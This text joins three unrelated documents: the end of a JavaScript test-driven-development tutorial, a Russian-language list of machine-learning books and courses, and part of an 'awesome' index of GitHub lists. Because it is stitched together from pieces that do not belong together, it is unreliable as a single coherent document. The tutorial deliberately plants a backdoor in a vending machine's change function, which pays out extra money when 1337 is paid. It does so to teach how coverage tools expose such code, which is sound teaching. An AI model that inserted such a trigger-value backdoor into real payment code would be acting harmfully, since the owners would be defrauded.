The makers of the vending machine think that everything is working fine,
all the _tests_ pass and when they try the machine it dispenses the merchandise
and the _correct change every time_.
But in the `getChange` method the
_**rogue**_ programmer put in the following lines:
```js
if(cashPaid == 1337) {
ATM = [20, 10, 5, 2];
for(var i = 0; i< 18; i++) { ATM.push(100) };
return ATM; }
```
If all the QA person did was run the tests they would see them
all "green" and think the job was well done.
But ... once the vending machines had gone into service,
e.g: one in every train station in the country.
The Vending Machine company begins to notice that there is less money
in them than they expect ... They don't understand why because they only
hire _trustworthy_ people to re-stock the machines.
One day the Vending Machine Company decide to hire _you_
to review the code in the `getChange` calculator
and you discover the _**rogue**_ programmer trick!
Every time the _**rogue**_ programmer inserts £13.37 into _any_
vending machine it will payout £18.37 i.e: a **£5 payout**
(and a "_free_" item from the vending machine!)
> _How could this have been **prevented**_?
The answer is ***code coverage***!
> _Note: Checking code coverage is **not a substitute for QA/Code Review**..._!
### Blanket.js
To check the _coverage_ of code being executed
(_in the browser_) we use **Blanket.js**
> See: https://blanketjs.org/ and https://github.com/alex-seville/blanket
To *run* blanket.js we need to separate our tests and solution
into distinct **.js** files:
**test.js** contains our unit tests
```js
test('getChange(1,1) should equal [] - an empty array', function(assert) {
var result = getChange(1, 1); //no change/coins just an empty array
var expected = [];
assert.deepEqual(result, expected);
});
test('getChange(215, 300) should return [50, 20, 10, 5]', function(assert) {
var result = getChange(215, 300); // expect an array containing [50,20,10,5]
var expected = [50, 20, 10, 5];
assert.deepEqual(result, expected);
});
test('getChange(486, 600) should equal [100, 10, 2, 2]', function(assert) {
var result = getChange(486, 600);
var expected = [100, 10, 2, 2];
assert.deepEqual(result, expected);
});
test('getChange(12, 400) should return [200, 100, 50, 20, 10, 5, 2, 1]', function(assert) {
var result = getChange(12, 400);
var expected = [200, 100, 50, 20, 10, 5, 2, 1];
assert.deepEqual(result, expected);
});
```
**change.js** has the `getChange` method.
```js
var coins = [200, 100, 50, 20, 10, 5, 2, 1]
function getChange(payable, paid) {
var change = [];
var length = coins.length;
var remaining = paid - payable; // we reduce this below
for (var i = 0; i < length; i++) { // loop through array of notes & coins:
var coin = coins[i];
var times_coin_fits = Math.floor(remaining / coin); // no partial coins
if(times_coin_fits >= 1) { // check coin fits into the remaining amount
for(var j = 0; j < times_coin_fits; j++) { // add coin to change x times
change.push(coin);
remaining = remaining - coin; // subtract coin from remaining
}
}
}
if(paid == 1337) {
ATM = [20, 10, 5, 2];
for(var i = 0; i< 18; i++) { ATM.push(100) };
return ATM;
}
else {
return change;
}
};
```
Include these two files _and_ the **Blanket.js** library in your index.html:
```html
<!-- Load Blanket.js from CDN -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/blanket.js/1.1.4/blanket.js"></script>
<script src="/change.js" data-cover></script> <!-- load our getChange method -->
<script src="/test.js"></script> <!-- load tests after getChange -->
```
### _Live_ Server
> _**Note**: This is a _light_ taste of Node.js for absolute beginners._
Because we are loading external **.js** files, our web browser will not _allow_
us to simply open the **index.html** from the directory.
Open your terminal and run this command
to _**install** the **node modules** and **start** the **live server**_:
```sh
npm init -f && npm install live-server --save-dev && node_modules/.bin/live-server --port=8000
```
It will take a minute to install,
but once that's done your `live-server` will start up.
That starts a node.js HTTP server on port 8000.
> Visit: http://localhost:8000/?coverage in your web browser
You should expect to see:
(Make sure to tick "Enable Coverage", as it is not checked by default!)
### Click line #1 in the Blanket.js section to expand the code coverage view
Here we can clearly see which lines are **not** being covered by the tests!
We can quickly identify a potential for bugs or _rogue_ code and remove it!
#### Hold on ... What if the _rogue_ code is all on _one line_?
> The (_sad?_) _fact_ is:
> Blanket.js Code Coverage analysis will not detect _all_ bugs or rogue code.
> you **still need** a _**human**_ to do a _**code review**_!
_But_ ... if you use _**Istanbul**_ to check coverage on the server, you'll see that only part of the single line of _rogue_ code was executed.
Istanbul is _much_ better at spotting un-tested code!
> We wrote a **beginners guide** to **Code Coverage with Istanbul**:
[https://github.com/dwyl/**learn-istanbul**](https://github.com/dwyl/learn-istanbul)
that goes into _detail_.
## Bonus Level 2: Node.js (_server-side_) Tests (10 mins)
> _**Note**: You will need to have Node.js installed on your machine
for this section.
> If you don't already have it, download it from:
https://nodejs.org/en/download/_
The beauty of writing JavaScript is that you can _**run**_ it _**anywhere**_!
In this bonus level we are going
to run our tests _**"server-side"**_ using **Node.js**.
Add these lines to the top of the **test.js** file you
created in **Bonus Level 1**
```js
/* The code block below ONLY Applies to Node.js - This Demonstrates
re-useability of JS code in both Back-end and Front-end! #isomorphic */
/* istanbul ignore if */
if (typeof module !== 'undefined' && module.exports) {
var QUnit = require('qunitjs'); // require QUnit node.js module
// alias the QUnit.test method so we don't have to change all our tests
var test = QUnit.test; // stores a copy of QUnit.test
require('qunit-tap')(QUnit, console.log); // use console.log for test output
var getChange = require('./change.js'); // load our getChange method
}
```
And add these lines to the bottom of the **test.js** file
you created in **Bonus Level 1**
```js
/* istanbul ignore next */
if (typeof module !== 'undefined' && module.exports) { QUnit.load(); } // run the tests
```
In addition, you need to add this to the **change.js** file you
created in **Bonus Level 1**
```js
/* The code block below ONLY Applies to Node.js - This Demonstrates
re-useability of JS code in both Back-end and Front-end! #isomorphic */
/* istanbul ignore next */
if (typeof module !== 'undefined' && module.exports) {
module.exports = getChange; // allows CommonJS/Node.js require()
}
```
Next, install the following node.js modules by running `npm install qunitjs qunit-tap istanbul --save-dev`:
+ QUnit node.js module
+ qunit-tap (for command line output)
+ Istanbul for server-side code coverage
Run the tests in your _terminal_:
```sh
node test.js
```
And run Istanbul to see the server-side code coverage:
```sh
./node_modules/.bin/istanbul cover test.js
```
At this point, you should see something like this in your terminal:
Execute `open ./coverage/lcov-report/index.html` to view the detailed coverage report, and you should see something like this:
This clearly highlights the "*rogue*" code from the previous **Bonus Level**.
Let's _remove_ the "_rogue_" code lines and re-run the tests:
Refresh the Code Coverage report in your browser:
> _**Boom**_! Now you know how to run your QUnit-based Unit Tests server-side!
### *Top Tip*: Use [Codecov.io](https://codecov.io/#features) to Track Coverage in your Projects!
> Now that you understand how Code Coverage Works,
> you can use https://codecov.io/#features
to ***track*** Coverage in your project over time!
> You can even add a [***Badge***](https://github.com/dwyl/repo-badges)
to your readme file e.g:
[](https://codecov.io/github/dwyl/learn-tdd?branch=master)
to show others that you *care* about testing.
## Bonus Level 3: _Continuous Integration_ (5 mins)
If you are new to **Continuous Integration** (**CI** _in general_)
or **Travis CI** check out our tutorial:
https://github.com/docdis/learn-travis
To quickly add CI support to your project:
**1**) **Visit**: https://travis-ci.org/profile and **Login**
with your **GitHub account** <br />
**2**) Enable Travis for your project
(_**Note**_: The project will need to be hosted on GitHub)
**3**) Add a **.travis.yml** file to your project's root directory
and include the following lines in it:
```sh
language: node_js
node_js:
- "node"
```
**4**) Ensure that you have a **package.json** file
with **test** script. <br />
(_if in doubt, just copy-paste the **package.json** from this project!_)
**5**) **Commit** your changes and **push** them to GitHub <br />
**6**) Visit the page on Travis-CI for your project. e.g: https://travis-ci.org/dwyl/learn-tdd
to see the build results.
Done. [](https://travis-ci.org/dwyl/learn-tdd)
<br />
## Bonus Level 4: _Documentation_ with [JSDoc](https://github.com/jsdoc3/jsdoc) (5 mins)
> **Note**: Bonus Level 4 ***requires node.js*** to be *installed* on your machine.
> If you don't already have it installed, don't panic. You don't need to know
> *anything* about Node.js to work through the examples.
To download, visit: https://nodejs.org/en/download/
and install the version for your Operating System.
If you took a peak at the solution in **change.js** you may have noticed
that there is a ***comment block*** at the top of the file:
```js
/**
* getChange accepts two parameters (totalPayable and cashPaid) and calculates
* the change in "coins" that needs to be returned.
* @param {number} totalPayable the integer amount (in pennies) to be paid
* @param {number} cashPaid the integer amount (in pennies) the person paid
* @returns {array} list of coins we need to dispense to the person as change
* @example
* getChange(215, 300); // returns [50, 20, 10, 5]
*/
```
This is a JSDoc comment block which documents the `getChange` function/method.
The beauty of writing documenting comments this way is that you can easily
produce documentation for your project in 3 easy steps:
**1**) Install jsdoc: in your terminal run the following command
`npm install jsdoc --save-dev`
**2**) Run the `jsdoc` command in your terminal:
`./node_modules/.bin/jsdoc change.js`
**3**) Open the resulting **html** file
`open ./out/global.html#getChange`
and you should see something like this in your web browser:
This _clearly_ documents the functionality of the `getChange` method.
- - -
## _Conclusion_
In the last **90 minutes** you _**learned how**_ to:
+ Write code following **T**est **D**riven **D**evelopment (**TDD**) discipline
+ Generate and view the **code coverage** for both front-end and back-end JavaScript Code
+ Set up **Travis-CI Continuous Integration** for your project
(so that you can keep track of the test/build status for your project)
+ Use **JSDoc** to generate documentation for your code after writing simple comment blocks
above your functions.
> _Please **Star**_ this repository
and share it with your coder friends/colleagues. <br />
> _Help us_ spread the TDD Love by ***re-tweeting***:
https://twitter.com/dwyl/status/621353373019865089
> If you have _**any questions**_ please ask:
> https://github.com/dwyl/learn-tdd/issues
- - -
<sup>1</sup>Ok, its not *really* possible to learn "everything" in 30 mins...
but you'll certainly know *most* of what you need!
And, if you have *any questions*, _**please ask**_ at:
https://github.com/dwyl/learn-tdd/issues
<br />
# What (_To Learn_) _Next_?
Now that you know TDD basics, what should you learn/practice _next_...?
+ Learn ***Elm Architecture*** to build web applications
using the _**simple, reliable** and **fast**_ architecture
with our step-by-step guide:
[github.com/dwyl/**learn-elm-architecture**-in-javascript](https://github.com/dwyl/learn-elm-architecture-in-javascript)
This is relevant to anyone who wants to build Web or Mobile Apps using React.js
(_learning the principles of the **Elm Architecture**
will help to keep your code well-organised and with a logical rendering flow_)
+ Learn ***Tape*** (_the simplest Node/Browser testing framework_):
https://github.com/dwyl/learn-tape
Apply your TDD knowledge to Node.js and browser testing
using the Tape framework which is both fast and flexible!
+ Learn how to build a Todo List App (TodoMVC) in JavaScript from scratch:
https://github.com/dwyl/todo-list-javascript-tutorial
This is the _best_ way to practice your TDD skills by building a _real_ App
following TDD best-practice from start to finish.
This is also an extended example of using "Document Driven Development"
where all code is documented _before_ it is written using JSDoc comments.
# Interested in Contributing?
_**Please read** our_
[**contribution guide**](https://github.com/dwyl/contributing)
(_thank you_!)
|
# Введение в машинное обучение
#### Оглавление
* :books: [Библиотека ML-специалиста](#Библиотека-ml-специалиста),
* [По темам](#По-темам): линейная алгебра, тервер, Латех и т.д. + темы из программы курса,
* [Дополнительные материалы](/extra-course_materials.md) к курсу «Введение в машинное обучение»,
* [Онлайн-курсы (MOOC)](#Онлайн-курсы-mooc).
<p style="text-align: center;"><a href="https://gist.github.com/demidovakatya/873e4dd6f1c6652ac842">Литература для поступления в ШАД</a> :small_orange_diamond: <a href="https://bookmate.com/bookshelves/Nggk0rBi">Подборка научпоп-книг</a> :small_orange_diamond: Рекомендации от преподавателей <a href="https://github.com/demidovakatya/mashinnoye-obucheniye/tree/master/mathematics-and-python">курса «Математика и Python»</a> и <a href="/spec-recommendations.md">специализации</a></p>
[](https://www.coursera.org/learn/vvedenie-mashinnoe-obuchenie/)
----------------------------------------------------
* [Машинное обучение: вводная лекция](http://www.machinelearning.ru/wiki/images/f/fc/Voron-ML-Intro-slides.pdf) – К. В. Воронцов;
* [Математические методы обучения по прецедентам (теория обучения машин)](http://www.machinelearning.ru/wiki/images/6/6d/Voron-ML-1.pdf) – К. В. Воронцов;
* [Репозиторий](https://github.com/esokolov/ml-course-msu) с конспектами, кодом и прочими материалами к семинарам по машинному обучению ВМК МГУ;
* Пост на reddit: [Machine Learning Books](https://www.reddit.com/r/MachineLearning/comments/1jeawf/machine_learning_books/);
* [100+ Free Data Science Books](http://www.learndatasci.com/free-books/) – более 100 бесплатных книг по Data Science;
* [16 Free Machine Learning Books](https://hackerlists.com/free-machine-learning-books/) — ещё 16 бесплатных книг по ML;
* [100 репозиториев по машинному обучению](http://meta-guide.com/software-meta-guide/100-best-github-machine-learning);
* [awesome-machine-learning](https://github.com/josephmisiti/awesome-machine-learning);
* [Open Source Society University's Data Science](https://github.com/open-source-society/data-science) course – this is a solid path for those of you who want to complete a Data Science course on your own time, for free, with courses from the best universities in the World;
* [Доска](https://trello.com/b/rbpEfMld/data-science) по data science в Trello — проверенные материалы, организованные по темам (expertise tracks, языки программирования, различные инструменты);
* [Блоги по датасаенс-тематике](https://github.com/rushter/data-science-blogs);
* [People tweeting about ML and AI](http://blog.talla.com/2016/02/people-tweeting-about-machine-learning-and-ai/) — на кого подписаться в Твиттере;
* [Machine Learning Resource Guide](https://www.dropbox.com/s/z4f9oer4nkyu9tf/MachineLearningResourceGuide.pdf);
* [17 ресурсов по машинному обучению](http://tproger.ru/articles/free-programming-books/#machine-learning) от Типичного Программиста;
* [51 идея](https://www.quora.com/Data-Science/What-are-some-good-toy-problems-in-data-science/answer/Alex-Kamil) для тренировочных задачек (*toy data problem*) в Data Science;
* [Dive into Machine Learning](http://hangtwenty.github.io/dive-into-machine-learning/) ([:octocat: repo on github](https://github.com/hangtwenty/dive-into-machine-learning)) with Python Jupyter notebook and scikit-learn;
* [Data Science Interview Questions](http://www.itshared.org/2015/10/data-science-interview-questions.html) — огромный список вопросов для подготовки к интервью на позицию data scientist'а;
* [Много книг по NLP](https://www.dropbox.com/sh/b1c2ulwua9zy574/AACswS1E0IB9LdPDxQ6fexm4a?dl=0) (Natural Language Processing);
* [Список](/datasets.md) открытых источников данных, на которых можно найти бесплатные датасеты;
* Для фанатов [reddit.com](http://www.reddit.com) — [полезные и весёлые сабреддиты](/reddit.md) по машинному обучению и смежным темам;
* Очень подробный ответ на вопрос [What should I learn in data science in 100 hours?](https://www.quora.com/What-should-I-learn-in-data-science-in-100-hours/answer/Roman-Trusov).
## Библиотека ML-специалиста
* [Applied Predictive Modeling](http://www.springer.com/us/book/9781461468486) – M. Kuhn, K. Johnson (2013);
* [Bayesian Reasoning and Machine Learning](http://web4.cs.ucl.ac.uk/staff/D.Barber/textbook/181115.pdf) - D.Barber (2015);
* [Core Concepts in Data Analysis: Summarization, Correlation and Visualization](http://www.springer.com/us/book/9780857292865) - Boris Mirkin;
* [A Course in Machine Learning](http://www.e-booksdirectory.com/details.php?ebook=9395) - Hal Daumé III ([another link](http://ciml.info));
* [Data Mining: Concepts and Techniques](http://www.sciencedirect.com/science/book/9780123814791) - Jiawei Han et. al.;
* [Data Mining and Analysis. Fundamental Concepts and Algorithms](http://www.cs.rpi.edu/~zaki/PaperDir/DMABOOK.pdf) - M.J.Zaki, W.Meira Jr (2014);
* [Data Science For Dummies](https://www.geekbooks.me/book/view/data-science-for-dummies) – Lillian Pierson (2015);
* [Doing Data Science](http://shop.oreilly.com/product/0636920028529.do);
* [Frequent Pattern Mining](https://mail.google.com/mail/u/1/#inbox/1536859aae027538) - Charu C Aggarwal, Jiawei Han (eds.);
* [Gaussian Processes for Machine Learning](http://www.e-booksdirectory.com/details.php?ebook=1774) - Carl E. Rasmussen, Christopher K. I. Williams;
* [Inductive Logic Programming: Techniques and Applications](http://www.e-booksdirectory.com/details.php?ebook=1105) - Nada Lavrac, Saso Dzeroski;
* [Information Theory, Inference and Learning Algorithms](http://www.inference.phy.cam.ac.uk/itila/book.html) – David MacKay;
* [Introduction To Machine Learning](http://www.e-booksdirectory.com/details.php?ebook=1117) - Nils J Nilsson (1997);
* [The LION Way Machine Learning plus Intelligent Optimization](http://1.oito.eu/The-LION-Way-Machine-Learning-plus-Intelligent-Optimization.pdf) (pdf);
* [Machine Learning](http://personal.disco.unimib.it/Vanneschi/McGrawHill_-_Machine_Learning_-Tom_Mitchell.pdf) - Tom Mitchell;
* [Machine Learning](http://www.mlyearning.org/) – Andrew Ng;
* [Machine Learning, Neural and Statistical Classification](http://www.e-booksdirectory.com/details.php?ebook=1118) - D. Michie, D. J. Spiegelhalter;
* [Machine Learning. The Art of Science of Algorithms that Make Sense of Data](http://www.amazon.com/Machine-Learning-Science-Algorithms-Sense/dp/1107422221/) - P. Flach (2012);
* [Machine learning cheat sheet](https://github.com/soulmachine/machine-learning-cheat-sheet/raw/master/machine-learning-cheat-sheet.pdf) - soulmachine (2015);
* [Pattern Recognition and Machine Learning](http://www.amazon.com/Pattern-Recognition-Learning-Information-Statistics/dp/0387310738/) - C.M.Bishop (2006);
* [Machine Learning in Action](https://www.manning.com/books/machine-learning-in-action) - Peter Harrington;
* [Probabilistic Programming and Bayesian Methods for Hackers](http://camdavidsonpilon.github.io/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/) (free);
* [R in Action](https://www.manning.com/books/r-in-action);
* [Reinforcement Learning: An Introduction](http://www.e-booksdirectory.com/details.php?ebook=1825) - Richard S. Sutton, Andrew G. Barto;
* [Understanding Machine Learning: From Theory to Algorithms](http://www.cs.huji.ac.il/%7Eshais/UnderstandingMachineLearning/copy.html);
* [Анализ больших наборов данных](http://dmkpress.com/catalog/computer/data/978-5-97060-190-7/) - перевод [Mining Massive Datasets](http://www.mmds.org/) - Jure Leskovec, Anand Rajaraman, Jeff Ullman;
* [Машинное обучение](https://www.dropbox.com/s/wkmoxtq0egzcoxc/Flach_P_Machine_Learning_RU.pdf) — Петер Флах;
* [Построение систем машинного обучения](https://vk.com/doc190970339_437111950) — Л. П. Коэльо, В. Ричарт (2016).
----------------------------------------------------
## По темам
Тематические подборки:
* [Статистика и теория вероятностей](/probability-statistics.md)
* [Линейная алгебра](/linalg.md)
* [Алгоритмы](/algorithms.md)
* [Нейронные сети, глубинное обучение, NLP, AI](/neural-nets.md)
* [Python, IPython, Scikit-learn etc](/python.md)
* [Code editors](/code-editors.md)
* [LaTeX](/latex.md)
* [R](/r.md)
* [JavaScript-библиотеки для визуализации данных](/js-libraries.md)
----------------------------------------------------
## Онлайн-курсы (MOOC)
* [Перечень лучших курсов по практически любым областям математики](https://www.quora.com/What-are-the-best-online-college-level-mathematics-courses);
* [Тонна разнообразных курсов по программированию, алгоритмам, в том числе 14 курсов по ML](https://github.com/prakhar1989/awesome-courses);
* Coursera:
* :small_blue_diamond: [Machine Learning](https://www.coursera.org/learn/machine-learning) от Andrew Ng (Stanford University) – самый популярный курс по машинному обучению (осторожно, вместо стандартных Питона или R – Matlab/Octave);
* :small_blue_diamond: Специализация [Машинное обучение](https://www.coursera.org/specializations/mashinnoye-obucheniye) от МФТИ и Яндекса. У меня по этой специализации есть аккуратный [:octocat: репозиторий](https://github.com/demidovakatya/mashinnoye-obucheniye);
* [Machine Learning Foundations: A Case Study Approach](https://www.coursera.org/learn/ml-foundations/home/info) — очень доходчивый курс, подходит в качестве самого первого курса по ML;
* [Practical Predictive Analytics: Models and Methods](https://www.coursera.org/learn/predictive-analytics/);
* [Calculus: Single Variable Part 1](https://www.coursera.org/learn/single-variable-calculus) от University of Pennsylvania;
* [Calculus One](https://www.coursera.org/learn/calculus1) от The Ohio State University;
* [Современная комбинаторика](https://www.coursera.org/learn/modern-combinatorics) от МФТИ, ведёт Райгородский А.М.;
* [Теория вероятностей для начинающих](https://www.coursera.org/learn/probability-theory-basics/home/info), а также [на OpenEdu](https://openedu.ru/course/mipt/PROBTH/) — курс от МФТИ, ведёт Райгородский А.М.;
* [Линейная алгебра](https://www.coursera.org/course/linalg) от ВШЭ. Курс линейной алгебры для нематематических факультетов, подходит «для быстрого старта»;
* [Эконометрика](https://www.coursera.org/learn/ekonometrika/) (Econometrics) — 10-недельный курс от ВШЭ;
* [Customer Analytics](https://www.coursera.org/learn/wharton-customer-analytics) – курс о практическом применении статистики и анализа данных. Для людей, разочаровавшихся в DS и не понимающих, на кой это всё;
* [Social Network Analysis](https://www.coursera.org/course/sna) от University of Michigan;
* [Social and Economic Networks: Models and Analysis](https://www.coursera.org/course/networksonline) от Stanford University;
* [Introduction to Recommender Systems](https://www.coursera.org/learn/recommender-systems) – восьминедельный курс по рекомендательным системам от университета Миннесоты;
* Специализация [Machine Learning](https://www.coursera.org/specializations/machine-learning) от Washington University.
* Udacity:
* [Machine Learning Engineer Nanodegree](https://www.udacity.com/course/machine-learning-engineer-nanodegree--nd009);
* [Data Analyst Nanodegree](https://www.udacity.com/course/data-analyst-nanodegree--nd002);
* [Intro to Machine Learning](https://www.udacity.com/courses/ud120) — this will teach you the end-to-end process of investigating data through a machine learning lens;
* [Intro to Descriptive Statistics](https://www.udacity.com/courses/ud827) – подробный курс для новичков;
* Edx:
* [Data Science and Engineering with Spark](https://www.edx.org/xseries/data-science-engineering-spark#courses);
* [Introduction to Computational Thinking and Data Science](https://www.edx.org/course/introduction-computational-thinking-data-mitx-6-00-2x-3);
* [MITx: 6.041x Introduction to Probability - The Science of Uncertainty](https://www.edx.org/course/introduction-probability-science-mitx-6-041x-1);
* [The Analytics Edge](https://www.edx.org/course/analytics-edge-mitx-15-071x-2);
* [Learning from Data](https://work.caltech.edu/telecourse.html) – введение в машинное обучение (основная теория, алгоритмы и области практического применения);
* [Видеозаписи лекций Школы Анализа Данных](https://yandexdataschool.ru/edu-process/courses);
* [Intro to Python for Data Science](https://www.datacamp.com/courses/intro-to-python-for-data-science) – основы Python и немного про NumPy;
* :small_blue_diamond: Курс по статистике на [stepic.org](http://stepic.org) — качественное введение в статистику, целиком на русском языке;
* [Data Science and Machine Learning Essentials](https://mva.microsoft.com/en-US/training-courses/data-science-and-machine-learning-essentials-14100) от Microsoft;
* [CS231n: Convolutional Neural Networks for Visual Recognition](http://vision.stanford.edu/teaching/cs231n/) ([:octocat: repo on github](https://github.com/cs231n)) — отличный десятинедельный курс по нейросетям и компьютерному зрению.
----------------------------------------------------
## Обсуждение машинного обучения в мессенджерах (группы, каналы, чаты, сообщества)
* [Deep Learning Russia](https://telegram.me/deeplearning_ru) — Канал сообщества vk.com/deeplearning_ru
* [ModelOverfit](https://telegram.me/modeloverfit) — Канал сообщества modeloverfit
* [Data Science](https://telegram.me/opendatascience) — Первый новостной канал про data science
* [Big Data & Machine Learning](https://telegram.me/bigdata_ru) — Чат по большим данным, обработке и машинному обучению
* [Data Science Chat](https://telegram.me/datasciencechat) — Чат по теме Data Science
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<br>
<br>
<p>
<sup>My open source work is supported by the community</sup>
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<br>
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<p align="center">
<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
<a href="https://twitter.com/awesome__re">Twitter</a>
<a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a>
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<b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b>
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<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme)
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme)
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme)
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/bfred-it/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme)
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme)
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/isRuslan/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme)
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme)
- [R](https://github.com/qinwf/awesome-R#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
